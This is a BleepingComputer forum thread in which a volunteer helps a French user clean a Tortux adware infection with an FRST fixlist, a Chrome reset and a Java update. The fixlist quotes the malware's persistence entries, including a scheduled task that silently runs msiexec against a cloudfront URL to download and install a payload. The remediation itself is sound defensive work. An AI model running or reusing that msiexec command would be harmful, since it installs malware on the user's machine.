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Infected by d2buh1bf1g584w.cloudfront.net on Chrome


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#1 Skaaren

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Posted 19 May 2017 - 04:20 PM

Hi,

 

My computer has been recently infected by a Tortux malware. I was able to remove it with AdwCleaner and Malwarebytes but Malwarebytes says that it blocked a website (d2buh1bf1g584w.cloudfront.net) and I can't find a solution to delete it. Can you help me ? You will find addition.txt and FRST.txt from FRST's scan.

 

PS: Sorry if my english is a bit bad, I'm from France

 

Thank you,

 

          Duke

Attached Files



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#2 nasdaq

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Posted 21 May 2017 - 09:17 AM

Hello, Welcome to BleepingComputer.
I'm nasdaq and will be helping you.

If you can please print this topic it will make it easier for you to follow the instructions and complete all of the necessary steps in the order listed.
===

Press the windows key Windows_Logo_key.gif+ r on your keyboard at the same time. This will open the RUN BOX.
Type Notepad and and click the OK key.

Please copy the entire contents of the code box below to a new file.
 
Start

CreateRestorePoint:
EmptyTemp:
CloseProcesses:

Winlogon\Notify\SDWinLogon-x32: SDWinLogon.dll [X]
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002\...\Run: [_2a7FxsjTX.exe] => C:\Program Files\Microsoft Office 15\4ZW01RKRCJ3X0\_2a7FxsjTX.exe -r1_5 -r2_1
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002\...\Run: [wvqhisbr41s] => "C:\Users\Duc\AppData\Roaming\tiycqg5qt45\n3pyet4cri4.exe"
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002\...\Run: [gffwvfr2df0] => "C:\Users\Duc\AppData\Roaming\yaai31abyr3\gwgttzbta4o.exe"
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-05192017202714076\...\Run: [_2a7FxsjTX.exe] => C:\Program Files\Microsoft Office 15\4ZW01RKRCJ3X0\_2a7FxsjTX.exe -r1_5 -r2_1
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-05192017202714076\...\Run: [wvqhisbr41s] => "C:\Users\Duc\AppData\Roaming\tiycqg5qt45\n3pyet4cri4.exe"
HKU\S-1-5-21-1425578361-1783692799-1716490595-1002-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-05192017202714076\...\Run: [gffwvfr2df0] => "C:\Users\Duc\AppData\Roaming\yaai31abyr3\gwgttzbta4o.exe"
AppInit_DLLs: C:\Windows\system32\nvinitx.dll => Pas de fichier
AppInit_DLLs: , C:\WINDOWS\system32\nvinitx.dll => Pas de fichier
ShellIconOverlayIdentifiers: [JzShlobj] -> {9A0700D2-920A-4E52-8697-9B5230C92612} => C:\Program Files (x86)\Maoha\JiSuZip\JZipExt.dll -> Pas de fichier
CHR Extension: (Paiements via le Chrome Web Store) - C:\Users\Duc\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-05-19]
CHR Extension: (Chrome Media Router) - C:\Users\Duc\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-05-19]
S2 JszipService; C:\Program Files (x86)\Maoha\JiSuZip\JszipSvc.exe [X]
S2 tw662452062; C:\ProgramData\tw662452062.exe [X]
Task: {107FE706-08E4-4005-AC68-C6A42E72C78A} - System32\Tasks\ShutMooks => Rundll32.exe "C:\Program Files\ShutMooks\ShutMooks.dll",BLphnehOT
Task: {120C49E4-84AD-4583-A339-85CED52242D4} - \Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic -> Pas de fichier <==== ATTENTION
Task: {1EF7DD70-0309-4B39-9560-7DE0722837EA} - \Safer-Networking\Spybot - Search and Destroy\Refresh immunization -> Pas de fichier <==== ATTENTION
Task: {220E1469-D2FB-4DF4-86F7-B8AC2A66AE92} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d -> Pas de fichier <==== ATTENTION
Task: {238D963B-639C-4859-A08D-F1B6539486D2} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B -> Pas de fichier <==== ATTENTION
Task: {239CEB25-DABC-4A9B-A0F4-4D97270FB082} - \Safer-Networking\Spybot - Search and Destroy\Check for updates -> Pas de fichier <==== ATTENTION
Task: {35665BD2-4C89-412E-B1F3-E71D5B0002DA} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d -> Pas de fichier <==== ATTENTION
Task: {42039CB9-916A-4B08-B4D1-D1D1B31B7580} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime -> Pas de fichier <==== ATTENTION
Task: {46F65ACD-5E4F-479A-B2DC-4883619555AA} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d -> Pas de fichier <==== ATTENTION
Task: {57343035-2A4C-43BC-8C3E-9BDFFC76698A} - System32\Tasks\Microsoft\Windows\DeviceSettings\Vijervernuy => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=ST1000LM024XHN-M101MBB_S32XJ9GF500213&amp;d=20170519 /q <==== ATTENTION
Task: {5A3CC119-4C7E-409A-8E27-1D64AF6F2450} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig -> Pas de fichier <==== ATTENTION
Task: {60A545F6-3DA7-42FF-81A2-9F7048B5EF6C} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent -> Pas de fichier <==== ATTENTION
Task: {9A9E0F8C-FA66-4FF6-B531-FC6067342FD7} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime -> Pas de fichier <==== ATTENTION
Task: {9D37E6D2-04C6-47EA-988D-1BA3C7E88F8D} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d -> Pas de fichier <==== ATTENTION
Task: {C036FF19-9602-45C3-82C9-0E524DDC057C} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent -> Pas de fichier <==== ATTENTION
Task: {C432281F-0698-4E00-AC82-38E2BB07A4F2} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d -> Pas de fichier <==== ATTENTION
Task: {FB8258D8-B3E7-436A-8C35-4A0330BD7085} - \Microsoft\Windows\Setup\gwx\launchtrayprocess -> Pas de fichier <==== ATTENTION
AlternateDataStreams: C:\3590F75ABA9E485486C100C1A9D4FF06ZZ..ZZZZ.Z..ZZZZ:1 [0]
C:\Windowsd\System32\Tasks\ShutMooks
C:\Windows\System32\Tasks\Microsoft\Windows\DeviceSettings\Vijervernuy
C:\Program Files\Microsoft Office 15\4ZW01RKRCJ3X0

End
Save the file as fixlist.txt in the same folder where the Farbar tool is running from.
The location is listed in the 3rd line of the Farbar log you have submitted.

Run FRST and click Fix only once and wait.

The tool will create a log (Fixlog.txt) please post it to your reply.
===

Reset Chrome...
Open Google Chrome, click on menu icon google-chrome-setting-icon.png which is located right side top of the google chrome.
 
Click "Settings" then "Show advanced settings" at the bottom of the screen.
 
Click "Reset browser settings" button.
 
Restart Chrome.
===

Your version of Java is outdated and needs to be updated to take advantage of fixes that have eliminated security vulnerabilities.

You can manually check your present version and update as recommended.
https://www.java.com/en/download/installed.jsp

Be careful not to install malware posing as Java update!
Important read this blog.
http://blog.trendmicro.com/trendlabs-security-intelligence/malware-poses-as-an-update-for-java-0-day-fix/

Quoted from the page.
"In light of the recent events surrounding Java, users must seriously consider their use of Java. Do they really need it? If yes, make sure that users follow the steps we recommended and get the security update directly from the official oracle website." at:
http://www.oracle.com/technetwork/java/javase/downloads/index.html

How to disable Java in your browsers
http://www.infoworld.com/t/web-browsers/how-disable-java-in-your-browsers-210882

If still present after the update you can remove the old versions of Java via the Control Panel > Programs > Programs and Features.
Java SE Development Kit 8 Update 121 (HKLM-x32\...\{32A3A4F4-B792-11D6-A78A-00B0D0180121}) (Version: 8.0.1210.13 - Oracle Corporation)
===

Please post the fixlog.txt and let me know what problem persists with this computer.

#3 Skaaren

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Posted 21 May 2017 - 02:19 PM

Hi,

 

Thank you for helping me. I did everything that you asked: I've attached the fixlog.txt file, I have reset Chrome and I have updated Java. Thanks for your advice too. For now, there is no problem, no Malwarebytes' notification about a site blocked.

Attached Files



#4 nasdaq

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Posted 22 May 2017 - 07:42 AM

Glad we could help.

If all is well.

To learn more about how to protect yourself while on the internet read this little guide best security practices keep safe.
http://www.bleepingcomputer.com/forums/t/407147/answers-to-common-security-questions-best-practices/


https://www.bleepingcomputer.com/tutorials/keep-your-computer-safe-online/
Simple and easy ways to keep your computer safe and secure on the Internet.
===




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